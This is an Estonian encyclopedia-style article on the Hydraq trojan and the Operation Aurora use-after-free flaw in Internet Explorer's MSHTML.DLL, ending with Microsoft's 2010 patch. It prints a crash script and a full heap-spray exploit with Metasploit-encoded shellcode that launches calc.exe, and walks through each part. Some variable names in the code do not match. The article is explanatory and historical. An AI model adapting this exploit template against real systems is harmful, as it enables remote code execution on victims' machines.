Hydraq

**Hydraq** on pahavara (Trooja hobune), mida kasutati operatsiooni Aurora käigus. Pahavara oli suunatud Google'i ja teiste Ameerika Ühendriikide suurettevõtete suunas. Rünnakud toimusid peamiselt 2009. aastal.

2010. aasta 14. jaanuaril andis Microsoft avalikkusele teada, et nende veebibrauseris, Internet Exploreris, on turvaauk, mille abil on võimalik kasutaja arvutis käivitada võõrast koodi (võõras kood – skript, mis pole pärit algselt ohvri arvutist, vaid tuleb veebilehega kaasa). 

Turvaaugu abil oli võimalik saada ligipääs kasutaja arvutile. Eriti ohtlikuks tegi selle fakt, et häkker sai samad õigused, mis olid algsel arvuti kasutajal, ehk kui arvuti kasutajal olid administratiivsed kasutajaõigused, siis sai ka häkker samad õigused. Turvaauk puudutas tugevalt järgmisi Internet Exploreri versioone: 6, 6 SP, 7 ja 8. Microsoft ei olnud sellest turvaaugust teadlik, kuni seda kasutati Aurora operatsioonis. Auroraga seotud ründed toimusid aastatel 2009 ja 2010 . Ründe hetkel oli tegemist nullpäeva turvaauguga, mis muutis selle kasutamise eriti lihtsaks, sest seda selle rünnaku vastu oli raske valmistuda.

## Turvaaugu kirjeldus
Turvaauk oli seotud veaga mälu halduses. Viga seisnes selles, et ründajal oli võimalik käivitada koodi Internet Exploreri veebibrauseris. Koodi sai käivitada, kui saadi ligipääs kustutatud sündmuse objekti viidale, mis tekitaski vea mäluhalduses. Kasutatakse ka nime *use-after-free*.

See turvaauk peitus Internet Exploreri koodis, mis asus `MSHTML.DLL` failis. `MSHTML.DLL` abil suudab Internet Exploreris lugeda HTML faile ja neid veebilehtedena kuvada.

`MSHTML.DLL` implementeerib sündmuse objekti `IHTMLEventObj4`, mis on osa `CEventObj` klassist. Sündmuse atribuute, aga hoitakse `EVENTPARAM` struktuuris. Enamikul sündmustel on `srcElement` atribuut, mis viitab elemendi asukohale DOM (inglise keeles *document object model*) puus. Sarnased atribuudid on `fromElement` ja `toElement`.

Viga saab alguse siis, kui kopeeritakse ühte `EVENTPARAM`’it, mida saab teha selle struktuuri konstruktori abil. Uue kopeeritud `EVENTPARAM`’i `srcElement` viitab algsele `EVENTPARAM`’ile. Viga tekib siis, kui koopia elab kauem, kui algne. Kui algne kustututakse, siis koopia `srcElement` viitab tühjale asukohale DOM puus, mis põhjustabki Internet Exploreri kokkujooksmise. 

Skript, mis kasutab kirjeldatud nõrkust, et veebibrauser kokku jooksutada:
```javascript
function window :: onload ()
{
    var SourceElement = document.createElement ("div");
    document.body.appendChild (SourceElement);
    var SavedEvent = null;
    SourceElement.onclick = function () {
        SavedEvent = document.createEventObject (event);
        document.body.removeChild (event.srcElement);
    }
    SourceElement.fireEvent ("onclick");
    SourceElement = SavedEvent.srcElement;
}
```
Skript loob HTML elemendi `` ja paneb selle DOM puusse, `<body>` lapseks. Tehakse globaalne muutuja `SavedEvent`. Käivitatakse sündmus `onclick`, mis omistab muutuja `SavedEvent` väärtuseks käivitatud sündmuse koopia. Siis kutsutakse algne sündmus käsuga `document.body.removeChild(event.srcElement).` Tänu sellele elab koopia kauem kui algne sündmus. Lõpuks proovitakse omistada `SourceElement` muutujale väärtus `SavedEvent.srcElement`, aga kuna see viitab kohta, mis on tühi, siis Internet Explorer jookseb kokku.
## Turvaaugu kasutamine
Siin on kood, mis kasutab ära Hydraq Trojani kasutatavat turvaauku. Järgnev koodijupp käivitab veebilehe külastamisel kalkulaatori.
```html
<html>
    <script>
        var v1 = new Array();
        for (i = 0; i < 200; i++) {
            v1[i] = document.createElement("COMMENT");
            v1[i].data = "AAA"; }
        var e1 = null;
        function HeapSpray() {
            v2 = new Array();
            // Encoder: x86/shikata_ga_nai
            // EXITFUNC=process, CMD=calc.exe
            var shellcode = unescape( ’%u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
            %ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
            %ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
            %u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
            %u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
            %u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
            %u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
            %uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
            %u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
            %u9c25%u41ef’);
            var spray = unescape(’%u0c0d’);
            do { spray += spray; } while( SprayValue.length < 880500 );
            for (j = 0; j < 100; j++)
                v2[j] = spray + shellcode;}
        function Remove(Value1) {
            HeapSpray();
            e1 = document.createEventObject(Value1);
            document.getElementById("SpanID").innerHTML = "";
            window.setInterval(Overwrite, 50);}
        function Overwrite() {
            buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
            for (i = 0; i < Array1.length; i++)
                v1[i].data = buffer;
            var t = e1.srcElement; }
    </script>
    <body>
        <span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
    </body>
</html>
```


### Implementatsiooni seletus

```javascript
var v1 = new Array();
        for (i = 0; i < 200; i++) {
            v1[i] = document.createElement("COMMENT");
            v1[i].data = "AAA"; }
```
Antud ''for-''tsükkel loob massiivi `v1`, mis täidetakse `COMMENT` elementidega.



```html
<body>
    <span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
</body>
```
Kutsutakse välja meetod `Remove(Value1)`, kui pilt "abcd.gif" saab laetud. `Remove(Value1)` meetodi esimene rida on meetodi `HeapSpray()` välja kutsumine, seega vaatame seda.



```javascript
function HeapSpray() {
            v2 = new Array();
            // Encoder: x86/shikata_ga_nai
            // EXITFUNC=process, CMD=calc.exe
            var shellcode = unescape( ’%u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
            %ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
            %ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
            %u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
            %u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
            %u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
            %u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
            %uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
            %u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
            %u9c25%u41ef’);
            var spray = unescape(’%u0c0d’);
            do { spray += spray; } while( SprayValue.length < 880500 );
            for (j = 0; j < 100; j++)
                v2[j] = spray + shellcode;}
```
`HeapSpray()` funktsiooni täidab massiivi `v2` muutujatega `spray + shellcode`. `Shellcode` on Metasploitiga genereeritud kood, mis käivitab *calc.exe* (kalkulaatori). `spray` muutuja on mõeldud selleks, et täita mälu baitidega, mida käivitades programm jääb tööle (sel juhul, Internet Explorer ei jookse kokku). Lõpuks on `v2` täidetud elementidega, mis on kõik samasugused, ja koosnevad muutujatest `spray` ja `shellcode`.



```javascript
function Remove(Value1) {
            HeapSpray();
            e1 = document.createEventObject(Value1);
            document.getElementById("SpanID").innerHTML = "";
            window.setInterval(Overwrite, 50);}
```
Pärast `HeapSpray()` läbimist, tehakse koopia sündmusest, mis kutsus `Remove()` meetodi välja (sel korral pildi ära laadimine) ja omistatakse see väärtus `e1` muutujale. Lisaks muudetakse `SpanID` id-ga sildiatribuudi sisu tühjaks. Tänu sellele on nüüd mälu, kuhu `e1.srcElement` viitab, tühi (*use-after-free* on rakendatud). Viimasel real kutsutakse välja meetod `Overwrite()`, mida rakendatakse iga 50 millisekundi tagant.

```javascript
function Overwrite() {
            buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
            for (i = 0; i < Array1.length; i++)
                v1[i].data = buffer;
            var t = e1.srcElement; }
```
`Overwrite()` kirjutab üle alguses loodud `v1` massiiv. Täpsemalt antakse igale `v1` elemendile uus väärtus, milleks on `buffer`’i väärtus. `buffer`’i väärtuseks on `0c0d`, sama, mis oli `HeapSpray`’is `spray` väärtuseks. See väärtus käitub masinkeeles nagu `OR AL, 0D` mis on samaväärne `[[NOP]]`’iga. `NOP` tähendab *no-operation*, ehk selle lugemisel ei tehta ühtegi operatsiooni ja liigutakse edasi. Lõpuks kutsutakse välja `e1.srcElement`, mis kasutab ära turvaauku, ja ohvri arvutis käivitub tänu `shellcode`’ile kalkulaator.

## Parandus
21. jaanuaril 2010 andis Microsoft välja Internet Exploreri uuenduse, mis lisaks teistele turvariskidele parandas ka kirjeldatud turvaagu. Uuenduse juurde kuulunud teates ei olnudki kirjas, kuidas midagi parandati, mis on sagedane juhtum suletud lähtekoodiga toodetel. See aga ei takistanud uudishimulikke inimesi täpsemalt uurimast.

Selgus, et `EVENTPARAM` konstruktorisse lisati uus kood. Täpsemalt lisati kood nii, et iga kord, kui on mitte `NULL` sisend `EVENTPARAM` atribuutidele (näiteks `srcElement`), siis kutsutakse välja meetod `NodeAddRef`, mis siis seab kokku vastavad viidad ja tipud. Lisaks iga uue tipu lisamisel kutsutakse välja meetod `NodeAddRef`.

Lisaks sellele lisati ka `EVENTPARAM` dekonstruktorisse uut koodi. Täpsemalt lisati funktsioon `NodeRelease`, mis siis tipu eemaldmisel vabastab tipud sinna vastavatest viitadest. See tähendab, et ei teki enam olukorda, kus mõni viit viib tühja tippu.

## Viited